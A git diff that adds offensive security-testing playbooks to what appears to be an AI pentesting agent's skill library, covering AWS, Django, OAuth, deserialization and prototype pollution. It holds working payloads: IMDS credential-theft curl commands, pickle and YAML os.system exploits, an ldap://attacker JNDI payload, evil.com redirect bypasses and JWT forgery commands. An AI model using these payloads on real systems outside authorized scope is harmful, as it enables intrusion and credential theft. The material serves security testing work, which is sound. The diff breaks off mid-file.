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Add five security skills: OAuth, AWS, prototype pollution, deserialization, Django (#617)
Felix-Ayush7e808f7d34f4
diff --git a/strix/skills/cloud/aws.md b/strix/skills/cloud/aws.mdnew file mode 100644index 00000000..299e5f67--- /dev/null+++ b/strix/skills/cloud/aws.md@@ -0,0 +1,231 @@+---+name: aws+description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths+---++# AWS Cloud Security++AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill.++## Attack Surface++**Identity**+- IAM users, roles, groups, policies (inline and managed)+- Access keys, session tokens, SSO/SAML federation+- Cross-account roles, trust policies, permission boundaries++**Storage & Data**+- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings+- EBS snapshots, RDS snapshots, AMIs shared publicly+- Secrets Manager, SSM Parameter Store, KMS keys++**Compute**+- EC2 instances, Lambda functions, ECS/EKS tasks+- Instance metadata service (IMDSv1/v2) at `169.254.169.254`+- User data, launch templates, AMIs++**Network**+- Security groups, NACLs, VPC endpoints, public subnets+- ELB/ALB/CloudFront misconfigurations++**Management**+- CloudTrail, Config, GuardDuty gaps+- Cognito user pools, API Gateway, AppSync++## Reconnaissance++**Credential Discovery**+- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`+- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files+- Hardcoded keys in source, mobile apps, JavaScript bundles++**Unauthenticated Enumeration**++Use two separate checks — they answer different questions and must not be conflated:++**1. Bucket existence (does the name resolve?)**++Goal: learn whether a bucket name exists in AWS, without needing `s3:ListBucket`.+- `head-bucket` or `curl -I` HTTP status is the signal — not `aws s3 ls`.+- `403 Forbidden` → bucket exists but you lack access (private or wrong account).+- `404 Not Found` → bucket does not exist in that region, or name is wrong.++```+aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1+curl -I https://target-bucket.s3.amazonaws.com/+```++**2. Public listing (is ListBucket granted to anonymous users?)**++Goal: confirm `s3:ListBucket` is publicly granted — a separate and stronger finding than existence alone.+- Only run `aws s3 ls` for this step; a successful listing returns object keys/prefixes.+- Failure here does not disprove existence (a private bucket still returns 403 on list).++```+aws s3 ls s3://target-bucket --no-sign-request+```++**Authenticated Enumeration (with any credentials)**+```+aws sts get-caller-identity+aws iam get-account-authorization-details 2>/dev/null+aws iam list-users+aws iam list-roles+aws iam list-attached-user-policies --user-name <user>+aws s3 ls+aws ec2 describe-instances+```++## Key Vulnerabilities++### S3 Misconfigurations++- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`)+- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)+- ListBucket enabled publicly → object key enumeration+- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/`++**Test:**+```+aws s3 ls s3://BUCKET --no-sign-request+aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request+curl https://BUCKET.s3.amazonaws.com/+```++### IAM Privilege Escalation++Common escalation paths (verify with `aws iam simulate-principal-policy` when possible):++| Permission | Escalation |+|------------|------------|+| `iam:CreatePolicyVersion` | Attach admin policy version to self |+| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version |+| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke |+| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile |+| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot |+| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role |+| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin |++**Test:**+```+aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)+aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"+```++### Instance Metadata Abuse++**IMDSv1 (no token required)**+```+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>+curl http://169.254.169.254/latest/user-data+```++**IMDSv2 bypass contexts**+- SSRF with header injection if server forwards `X-aws-ec2-metadata-token`+- Container sidecars without hop limit enforcement+- Misconfigured proxies allowing link-local access++### Snapshot and Backup Exposure++- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all`+- AMIs with `Public` launch permission containing secrets or keys+- Backup vaults cross-account without proper isolation++### Lambda and Serverless++- Overprivileged execution roles (`AdministratorAccess` on Lambda role)+- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`)+- Function URLs or API Gateway without auth+- Event source mappings triggering on attacker-controlled events++### Cognito Misconfigurations++- Self-signup enabled with elevated default group membership+- Missing app client secret on confidential flows+- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`)+- ID token custom claims trusted by backend without verification++### KMS and Secrets++- KMS key policies allowing `Principal: *` or overly broad accounts+- Secrets Manager secrets readable by unintended roles+- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers++## Advanced Techniques++**Cross-Account Role Assumption**+- Find roles trusting `*` or external accounts broadly+- Confused deputy: service assumes role without external ID validation++**CloudFront Origin Exposure**+- Origin pointing directly to S3 website or ALB bypassing WAF+- Signed URL/cookie misconfiguration allowing object access++**Resource-Based Policy Gaps**+- S3 bucket policy allowing `s3:GetObject` from unintended principals+- Lambda resource policy `Principal: *` with weak condition keys++## Testing Methodology++1. **Discover credentials** — Keys in code, env, metadata, or SSRF+2. **Identify principal** — `get-caller-identity`, map effective permissions+3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds+4. **Escalation paths** — Run escalation checklist against attached policies+5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts+6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope)++## Validation++1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags)+2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions+3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope+4. Document resource ARN, policy statement, and misconfiguration root cause+5. Confirm fix would block the specific principal/action/resource combination++## False Positives++- Intentionally public static assets bucket with no sensitive keys+- Read-only `s3:ListBucket` on empty marketing bucket+- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit)+- Simulated escalation blocked by permission boundary or SCP+- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach)++## Impact++- Mass data exfiltration from S3/RDS/snapshots+- Full account or organization compromise via IAM escalation+- Persistent backdoor access through new keys or roles+- Regulatory exposure (PII/PCI in unencrypted public buckets)++## Pro Tips++1. Always run `get-caller-identity` first to know your effective principal+2. Distinguish 403 vs 404 on S3 — both are useful, mean different things+3. Check instance profile role, not just user credentials, from metadata+4. Review trust policies on roles, not just permission policies+5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs++## Tooling++Prefer credential-light, install-once CLIs. The sandbox has `awscli`/`python`/`pipx`/`go` and build-time egress.++- **awscli** — the primary enumeration tool (used throughout this skill). Always start with `aws sts get-caller-identity`.+- **enumerate-iam** (andresriancho) — tiny script that brute-forces which API calls a set of keys can make when you can't read your own policy:+ ```+ git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam+ pip install -r requirements.txt+ python enumerate-iam.py --access-key AKIA... --secret-key ...+ ```+- **cloudsplaining** (Salesforce) — offline IAM policy risk analysis; finds privilege-escalation/resource-exposure in the auth-details JSON:+ ```+ pipx install cloudsplaining+ aws iam get-account-authorization-details > auth.json+ cloudsplaining scan --input-file auth.json+ ```+- **CloudFox** (BishopFox) — single Go binary for fast post-compromise inventory and "what can I do from here" surfacing: `cloudfox aws --profile <profile> all-checks`+- **Pacu** (Rhino Security Labs) — the standard AWS exploitation framework; heavier, but its `iam__privesc_scan` module automates the escalation table above. Use for a full exploitation session (`run iam__enum_permissions`, then `run iam__privesc_scan`).++## Summary++AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains.diff --git a/strix/skills/frameworks/django.md b/strix/skills/frameworks/django.mdnew file mode 100644index 00000000..17f45b50--- /dev/null+++ b/strix/skills/frameworks/django.md@@ -0,0 +1,214 @@+---+name: django+description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues+---++# Django++Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels.++## Attack Surface++**Core Components**+- URL routing (`urls.py`), class-based and function views, middleware stack+- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations+- Templates (Django template language, Jinja2 if configured)+- Forms, ModelForms, serializers (DRF)++**Authentication**+- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes`+- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations+- Django admin (`/admin/`), staff/superuser flags++**Deployment**+- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage+- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn)++## High-Value Targets++- `/admin/` — brute force, credential stuffing, IDOR on admin objects+- API endpoints with mixed permission classes across ViewSets+- File upload (`FileField`, `ImageField`), import/export (django-import-export)+- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL+- Password reset, email verification, invitation tokens+- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents+- Celery task triggers accepting user IDs without ownership checks++## Reconnaissance++**Fingerprinting**+```+curl -I https://target/ -H "Cookie: sessionid=test"+# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header+GET /admin/login/+GET /api/ /api/v1/ /swagger/ /api/schema/+```++**Settings Leakage (when DEBUG=True or misconfigured)**+- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps+- `/static/`, error pages with stack traces revealing paths and ORM queries++**OpenAPI / DRF**+```+GET /api/schema/+GET /swagger.json+```+Map endpoints, authentication classes, and permission classes per route.++## Key Vulnerabilities++### Authentication & Authorization++**Permission Class Gaps**+- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes`+- Custom permissions checking authentication but not object ownership (IDOR)+- `@api_view` without explicit permissions inheriting permissive defaults+- Admin actions or custom management commands without staff checks++**Session Issues**+- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly`+- Session fixation if session key not rotated on login+- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`)++**JWT (simplejwt)**+- RS256→HS256 confusion if algorithm pinning is misconfigured+- Missing `user_id`/`token` blacklist on logout+- Refresh token rotation not enforced++### Injection++**ORM SQL Injection**+Vulnerable patterns (more common in legacy code):+```python+User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'")+User.objects.extra(where=[f"username = '{user_input}'"])+```+Test: `' OR 1=1 --`, time-based payloads, database-specific syntax.++**DRF Filter Backends**+- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns+- Ordering injection via `?ordering=` if field whitelist missing++**Template Injection**+Django templates auto-escape by default; risk rises with:+```python+mark_safe(user_input)+|safe filter in templates+Template(user_input).render(...) # SSTI if user controls template source+```+Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured.++### CSRF++- `@csrf_exempt` on state-changing views+- DRF session authentication without CSRF enforcement on unsafe methods+- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration)+- `CSRF_TRUSTED_ORIGINS` too broad++**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth.++### IDOR and Mass Assignment++**DRF Serializers**+- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance`+- `read_only_fields` missing on sensitive ModelSerializer fields+- Nested writes updating foreign keys across tenants++**Object-Level Permissions**+- `get_object()` without filtering queryset by request.user+- Generic views with `queryset = Model.objects.all()` and weak permissions++### File Handling++- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx+- Path traversal in custom file download views using user-supplied paths+- SVG/HTML uploads served with `Content-Type` that enables XSS+- Missing file size/type validation on uploads++### SSRF++- `requests.get(user_url)` in webhooks, preview, import features+- Celery tasks fetching user URLs server-side+- Test loopback, metadata IPs, redirect chains++### Host Header / Password Reset++- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns+- Password reset emails built from `Host` header → poisoned reset links+- Cache poisoning via unkeyed Host header on cached pages++### Django Admin++- Default `/admin/` path with weak credentials+- `has_add_permission` / `has_change_permission` overrides with logic bugs+- ModelAdmin exposing sensitive fields in list_display or export++### Channels / WebSocket++- Consumer accepts connection without session/auth parity to HTTP+- Group name derived from user input → subscribe to other users' channels+- Missing origin validation on WebSocket handshake++## Bypass Techniques++- Content negotiation: JSON vs form data hitting different parser/permission paths+- HTTP method override or trailing slash routing to alternate view+- Parameter pollution: duplicate `id` fields in query and body+- Race on state transitions (coupon redemption, inventory) via parallel requests+- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version++## Testing Methodology++1. **Map surface** — URLs, DRF schema, admin, static/media paths+2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method+3. **Object ownership** — Swap IDs across two user accounts on every CRUD route+4. **Serializer audit** — Identify writable sensitive fields and nested relations+5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs+6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents+7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags++## Validation++1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation)+2. CSRF PoC executing state change with victim session (for session-authenticated endpoints)+3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent)+4. Document view/serializer/permission class where enforcement failed+5. Show admin or staff capability gained from regular user context if applicable++## False Positives++- `queryset.filter(user=request.user)` consistently applied including nested routes+- Object-level permission class correctly validates ownership on all actions+- DEBUG=False and generic error pages with no settings leakage confirmed+- Mark_safe used only on server-generated trusted content+- CSRF correctly enforced on all session-authenticated unsafe methods++## Impact++- Account takeover via session forgery or password reset poisoning+- Horizontal/vertical privilege escalation through IDOR and mass assignment+- Data breach via ORM/SQL injection or excessive serializer fields+- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services++## Pro Tips++1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes+2. Check `APIView` subclasses for missing `permission_classes` — common oversight+3. Test `?format=` and browsable API HTML responses for CSRF on session auth+4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin+5. Compare ASGI WebSocket consumers against REST permissions for the same resource++## Tooling++Static analysis is the fastest way to reach the sinks above in white-box scope. The sandbox ships `python`/`pipx`, `semgrep`, `bandit`, `ast-grep`, and `ripgrep`.++- **bandit** (preinstalled) — Python security linter; flags `mark_safe`, `extra()`, `RawSQL`, `subprocess`, weak crypto, hardcoded secrets: `bandit -r . -ll`+- **semgrep** (preinstalled) with the Django ruleset — higher-signal than bandit for framework-specific bugs (`.extra()`, `RawSQL`, `|safe`, `csrf_exempt`, `ALLOWED_HOSTS=['*']`): `semgrep --config p/django .`+- **pip-audit** (PyPA) — dependency CVE scanner for known-vuln Django/DRF/simplejwt versions: `pipx install pip-audit && pip-audit -r requirements.txt`+- **ast-grep** (preinstalled) — quick structural grep for risky calls without a full SAST run: `ast-grep run -p 'mark_safe($X)' -l python`++For the `SECRET_KEY` → signed-cookie/reset-token forgery path noted under Session Issues, Django's own `django.core.signing` is the "tool": with a leaked key you can mint valid `signing.dumps()` values (session cookies, password-reset tokens, and `PickleSerializer`-backed session RCE).++## Summary++Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence.diff --git a/strix/skills/protocols/oauth.md b/strix/skills/protocols/oauth.mdnew file mode 100644index 00000000..819870bb--- /dev/null+++ b/strix/skills/protocols/oauth.md@@ -0,0 +1,185 @@+---+name: oauth+description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration+---++# OAuth 2.0 / OIDC++OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer.++## Attack Surface++**Flows**+- Authorization code (with/without PKCE)+- Implicit (legacy), hybrid, device authorization, client credentials+- Refresh token rotation, token introspection, revocation++**Endpoints**+- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout`+- `/.well-known/openid-configuration`, `/jwks.json`+- Dynamic client registration (if enabled)++**Token Types**+- Authorization codes, access tokens, refresh tokens, ID tokens+- Opaque vs JWT formats; reference tokens vs self-contained JWTs++**Client Types**+- Public clients (SPAs, mobile) vs confidential (server-side)+- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes++## Reconnaissance++**Discovery**+```+GET /.well-known/openid-configuration+GET /oauth2/.well-known/openid-configuration+GET /.well-known/oauth-authorization-server+```++Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`.++**Client Enumeration**+- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes+- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client")++## Key Vulnerabilities++### Redirect URI Manipulation++**Open Redirect Chains**+- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards+- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants++```+https://app.com/callback.evil.com+https://app.com/callback%2f..%[email protected]+https://app.com/callback?next=https://evil.com+com.app://callback (mobile custom scheme)+```++**Redirect URI Validation Bypasses**+- Trailing slash, case, port, scheme downgrade (`http` vs `https`)+- Path normalization differentials between IdP validator and consuming app+- `redirect_uri` parameter pollution (first vs last wins)+- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain++### Authorization Code Issues++**Code Leakage**+- Codes in URL fragments, Referer headers, browser history, server logs, analytics+- Code replay before expiry; missing one-time-use enforcement+- Code sent to wrong redirect_uri if binding is weak++**Code Injection / Mix-Up**+- Attacker initiates flow, victim completes login, code delivered to attacker's redirect+- Mix-up attack: swap `client_id` between authorize and token steps+- Missing `redirect_uri` binding at token endpoint++### State and Nonce++- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking)+- Missing `nonce` in OIDC → ID token injection/replay+- `state` not bound to client session or PKCE verifier++### PKCE Bypass++- `code_challenge_method` downgrade: accept `plain` instead of `S256`+- Missing PKCE requirement on public clients+- `code_verifier` not validated or compared case-insensitively with weak matching+- Authorization code issued without challenge, token endpoint accepts any verifier++### Client Authentication++**Public Client Abuse**+- Token endpoint accepts requests without `client_secret` for confidential clients+- `client_id` only authentication on token/introspection endpoints+- Dynamic registration with attacker-controlled redirect URIs++**Secret Leakage**+- Hardcoded secrets in mobile apps, SPAs, or public repos+- `client_secret` accepted in query string or logged in access logs++### Scope and Token Issues++- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes+- Refresh token not rotated or reuse not detected → persistent access+- Access token accepted across services (missing audience/resource binding)+- Token introspection returns `active:true` without proper auth on introspection endpoint++### OpenID Connect Specific++- ID token accepted as access token at resource servers (token confusion)+- `acr`, `amr`, `auth_time` not validated for step-up requirements+- Userinfo endpoint returns PII without matching access token scope+- `sub` collision across issuers if `iss` not validated++## Advanced Techniques++**Referer Leakage**+- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows++**Device Flow Abuse**+- Poll `device_code` endpoint with guessed codes; slow rate limits only+- User approves attacker-initiated device login++**Account Linking**+- OAuth login links attacker's IdP identity to victim's local account without re-auth+- Email collision: same email from different IdP providers++## Testing Methodology++1. **Map flows** — Identify all grant types, clients, and redirect URIs in use+2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks+3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow+4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method+5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance+6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking++## Validation++1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak+2. Show account takeover or access to victim resources with attacker's OAuth session+3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable+4. Document exact validation gap (redirect binding, PKCE, state, audience)+5. Provide full authorize → callback → token request chain with before/after evidence++## False Positives++- Redirect URI rejected consistently across all bypass attempts+- Public client correctly requires PKCE S256 with strict verifier validation+- `state`/`nonce` enforced and bound; CSRF test fails as expected+- Token audience/issuer correctly validated at resource server+- Custom scheme redirects require app ownership proof (verified Android/iOS app links)++## Impact++- Full account takeover via stolen authorization codes or tokens+- Persistent access through refresh token theft+- Cross-tenant or cross-client data access via token confusion+- PII exposure from userinfo or ID token claim leakage++## Pro Tips++1. Always capture the full redirect chain including intermediate 302 locations+2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE)+3. Test both web and mobile clients — validation rules often differ+4. Check logout/revocation — tokens may remain valid after "logout"+5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes++## Tooling++The sandbox ships **jwt_tool** (already cloned at `/home/pentester/tools/jwt_tool`) plus `curl` — enough for the token side of OAuth/OIDC.++- **jwt_tool** (ticarpi) — inspect and tamper ID tokens / JWT access tokens: `alg:none`, `HS256`/`RS256` key confusion, `kid` injection, claim editing (`sub`, `aud`, `iss`, `exp`):+ ```+ python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> # decode/inspect+ python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X a # alg:none+ python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X k -pk pub.pem # RS256->HS256 confusion+ ```+- **curl** — drive the authorize → callback → token chain by hand so you control every parameter (`redirect_uri`, `client_id`, `state`, PKCE `code_challenge`/`code_verifier`) and can test the binding/downgrade cases above.++Humans often use Burp's **EsPReSSO** (RUB-NDS) SSO extension for flow visualization; it is GUI-only, so prefer manual `curl` + `jwt_tool` in-sandbox.++## Summary++OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover.diff --git a/strix/skills/vulnerabilities/insecure_deserialization.md b/strix/skills/vulnerabilities/insecure_deserialization.mdnew file mode 100644index 00000000..6b5ebe58--- /dev/null+++ b/strix/skills/vulnerabilities/insecure_deserialization.md@@ -0,0 +1,188 @@+---+name: insecure-deserialization+description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation+---++# Insecure Deserialization++Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.++## Attack Surface++**Formats**+- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)+- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve+- PHP: `unserialize()`, Phar deserialization+- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState+- Ruby: `Marshal.load`, YAML.load+- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)++**Input Locations**+- Cookies, session tokens, hidden form fields+- API parameters (`data`, `state`, `object`, base64 blobs)+- Message queues, WebSocket binary frames, file uploads+- Cache entries, database columns storing serialized objects++## Reconnaissance++**Detection Signals**+- Base64 blobs starting with magic bytes:+ - Java: `ac ed 00 05` (hex `rO0` base64)+ - PHP: `O:`, `a:`, `s:` prefixes after decode+ - .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`+- `Content-Type` with binary or custom serialization+- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions++**White-Box Indicators**+```+pickle.loads unserialize( ObjectInputStream BinaryFormatter+yaml.load readObject( TypeNameHandling Marshal.load+```++## Key Vulnerabilities++### Java Deserialization++**Gadget Chains**+- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)+- Tools: ysoserial (authorized testing only), manual chain selection by classpath++**Test Flow**+1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)+2. Fingerprint library versions from errors, headers, or bundled libs+3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution++**Jackson / JSON Typing**+```json+["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]+```+When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.++### Python Pickle++Pickle executes arbitrary code during unpickling by design:+```python+import pickle, os, base64+class Exploit:+ def __reduce__(self):+ return (os.system, ('id',))+# base64 encode pickle.dumps(Exploit()) and send as cookie/param+```++**YAML**+```yaml+!!python/object/apply:os.system ['id']+```+When `yaml.load` used instead of `yaml.safe_load`.++### PHP unserialize()++**Object Injection**+- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`+- POP chains through framework classes (Laravel, Symfony, WordPress plugins)++**Phar Deserialization**+- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations++### .NET Deserialization++**BinaryFormatter / LosFormatter**+- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)++**Json.NET**+```json+{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}+```+When `TypeNameHandling` != `None`.++**ViewState**+- MAC disabled or weak machine keys → forge deserialized view state++### Ruby Marshal++- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)++## Advanced Techniques++**Signed Blob Bypass**+- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload+- Strip signature and test unsigned code paths+- Length extension on MAC if applicable (older custom schemes)++**Second-Order Deserialization**+- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job++**Compression Wrappers**+- Gzip/base64 nested encoding bypassing naive WAF inspection++## Testing Methodology++1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data+2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint+3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC+4. **Gadget selection** — Match classpath/runtime version to available chains+5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command+6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early++## Validation++1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)+2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation+3. Provide encoded payload and exact injection point (cookie name, parameter, header)+4. Confirm on fixed version or alternate instance that identical payload fails safely+5. Document library/version and gadget chain class names for remediation++## False Positives++- Base64 data is encrypted or signed with verified HMAC before deserialization+- Only primitive types deserialized (whitelist schema, no polymorphic types)+- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation+- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)+- Error mentions serialization class but input is never passed to unmarshal (dead code path)++## Bypass Methods++- Encoding layers: base64 → gzip → serialize+- Alternative parameters storing same session (`session`, `session_backup`, `state`)+- Switch content-type or parameter location (GET vs POST vs cookie)+- Type confusion: JSON array vs object hitting different deserializer branches+- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)++## Impact++- Remote code execution on application servers+- Authentication bypass via forged session objects+- Privilege escalation through manipulated role/admin fields in deserialized classes+- Full application compromise in Java/PHP/.NET stacks with known gadget libraries++## Pro Tips++1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise+2. Start with DNS/HTTP callback gadgets before command execution in production-like targets+3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens+4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source+5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps++## Tooling++Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.++| Tool | Language / format | Use |+|------|-------------------|-----|+| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |+| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |+| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |++```+# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain+java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0++# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget+./phpggc -b Laravel/RCE9 system id+```++Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.++## Summary++Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.diff --git a/strix/skills/vulnerabilities/prototype_pollution.md b/strix/skills/vulnerabilities/prototype_pollution.mdnew file mode 100644index 00000000..2c6ce497--- /dev/null+++ b/strix/skills/vulnerabilities/prototype_pollution.md@@ -0,0 +1,142 @@+---+name: prototype-pollution+description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses+---++# Prototype Pollution++Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote 